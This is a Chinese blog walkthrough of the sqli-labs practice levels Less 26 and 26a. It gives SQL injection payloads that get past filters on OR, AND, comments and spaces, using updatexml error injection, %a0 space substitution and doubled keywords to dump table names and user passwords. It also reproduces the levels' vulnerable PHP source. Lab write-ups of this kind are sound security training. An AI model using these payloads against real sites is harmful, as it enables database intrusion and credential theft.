zoukankan      html  css  js  c++  java
  • sqli-labs 通关指南:Less 26

    Less 26 在过滤了 “OR” 和 “AND” 的基础上,进一步把空格和注释符过滤了,这就导致我们之前的一些操作都无法正常实现。当网页返回错误信息时,可以使用不需要空格的报错注入,如果没有返回错误信息也可以使用其他字符替代空格。注意在 windows 下由于 apache 的解析的问题,无法使用一些特殊的字符代替空格,此处建议使用 docker 部署 sqli-labs 靶场。

    Less 26

    Trick with comments and space (过滤了注释和空格的注入)

    判断注入类型

    注入正常的参数,网页返回对应 id 的正常信息。当注入单引号进行闭合时,网页返回错误信息,从提示中可以看到注入的注释符被过滤了。

    ?id=1'--+
    


    测试以下所有的参数,“OR”、“AND” 所有的注释符和空格全部都被过滤了。

    ?id=1'#
    ?id=1' OR 1 = 1--+
    ?id=1' AND 1 = 1--+
    ?id=1'/*
    ?id=1'/
    ?id=1'
    


    单引号没有被过滤,我们使用两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入。

    ?id=''
    

    获取数据库信息

    对于被过滤的字符,可以使用其他的字符进行替代,使用 “%a0” 或 “%0b” 替代空格,使用 “||” 替代 “or”,使用 “%26%26” 替代 “and”。例如:

    -1' || 1 = 1  || '
    


    此时我们可以使用 updatexml() 报错注入,因为这种手法不需要考虑空格的问题。爆数据库名。

    ?id=-1' || updatexml(1,concat(0x7e,database()),1) || '1'='1
    


    爆表名。

    ?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema='security'))) ,1) || '1'='1
    


    爆字段名。

    ?id=1'||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1
    

    获取目标信息

    这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。注意到 “password” 要使用双写绕过,使用括号来代替空格的划分作用。

    ?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) ))  ,1) || '1'='1
    

    关卡源码

    SQL 查询语句

    //fiddling with comments
    $id = blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint = $id;
    
    // connectivity 
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";	
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else 
    {
          echo '<font color= "#FFFF00">';
          print_r(mysql_error());
          echo "</font>";  
    }
    

    过滤函数

    function blacklist($id)
    {
          $id = preg_replace('/or/i',"", $id);      //strip out OR (non case sensitive)
          $id = preg_replace('/and/i',"", $id);      //Strip out AND (non case sensitive)
          $id = preg_replace('/[/*]/',"", $id);      //strip out /*
          $id = preg_replace('/[--]/',"", $id);      //Strip out --
          $id = preg_replace('/[#]/',"", $id);      //Strip out #
          $id = preg_replace('/[s]/',"", $id);      //Strip out spaces
          $id = preg_replace('/[/\\]/',"", $id);      //Strip out slashes
          return $id;
    }
    

    Less 26a

    GET-Blind Based-All your SPACES and COMMENTS belong to us (过滤了空格和注释的盲注)

    判断注入类型

    注入正常的参数,网页返回对应 id 的正常信息,注入两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入。

    ?id=1''
    


    想要进一步测试是否有括号时,网页没有回显信息,说明此时的错误信息不回显到网页上。

    ?id=1')
    


    尝试构造左右半边的空格来闭合,网页回显正常,说明参数有使用单层括号来闭合。

    ?id=1') || ('1
    

    获取数据库信息

    由于报错信息不回显,所以 updatexml() 报错注入不能使用。此处就需要使用 URL 编码来代替空格,然后用 UNION 注入。判断有几列可用,别忘了 “ORDER” 中的 “or” 被过滤掉了。

    ?id=1')%a0OorRDER%a0BY%a03||('1
    


    判断回显位置,此时注入的参数中的负号也被当做注释符,已经被过滤了。

    ?id=9999')%a0UNION%a0SELECT%a01,2,3%a0||('1
    


    爆数据库名。

    ?id=9999')%a0UNION%a0SELECT%a01,database(),3%a0||('1
    


    爆表名。

    ?id=9999')%a0UNION%a0SELECT%a01,group_concat(table_name),3%a0FROM%a0infoORrmation_schema.tables%a0WHERE%a0table_schema = 'security'%a0||('1')=('2
    


    爆字段名。

    ?id=9999')%a0UNION%a0SELECT%a01,group_concat(column_name),3%a0FROM%a0infoORrmation_schema.columns%a0WHERE%a0table_schema='security'%a0AandND%a0table_name='users'%a0||('1')=('2
    

    获取目标信息

    这里也是用其他符号代替空格即可,注意使用 WHERE 闭合后面的单引号和括号。

    ?id=9999')%a0UNION%a0SELECT%a01,group_concat(concat_ws(":",username,passwoORrd)),3%a0FROM%a0users%a0WHERE%a0('1
    

    关卡源码

    SQL 查询语句

    $id = blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint = $id;
    
    // connectivity 
    $sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";	
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else 
    {
          echo '<font color= "#FFFF00">';
          //print_r(mysql_error());
          echo "</font>";  
    }
    

    过滤函数

    function blacklist($id)
    {
          $id = preg_replace('/or/i',"", $id);      //strip out OR (non case sensitive)
          $id = preg_replace('/and/i',"", $id);      //Strip out AND (non case sensitive)
          $id = preg_replace('/[/*]/',"", $id);      //strip out /*
          $id = preg_replace('/[--]/',"", $id);      //Strip out --
          $id = preg_replace('/[#]/',"", $id);      //Strip out #
          $id = preg_replace('/[s]/',"", $id);      //Strip out spaces
          $id = preg_replace('/[/\\]/',"", $id);      //Strip out slashes
          return $id;
    }
    

    docker 部署靶场资料

    在docker中安装sqli-abls/iwebsec教程
    容器镜像服务
    解决Linux Docker sqli-labs中无法连接security数据库

  • 相关阅读:
    设置sqlplus输出格式
    Using CrunchBase API
    Docker ( Is docker really better than VM ?)
    Cross platform GUI for creating SSL certs with OpenSSL
    PHP, Python Nginx works together!
    Your personal Mail Server iRedMail on ubuntu14.04 x64
    iphone/ipad/iOS on Linux Debian7/ubuntu12.04/linuxmint13/ubuntu14.04 compiling from source
    Internet Liberity -- a specific anonymous internet guide
    Organic Solar Cells
    Organic Solar Cells
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13940107.html
Copyright © 2011-2022 走看看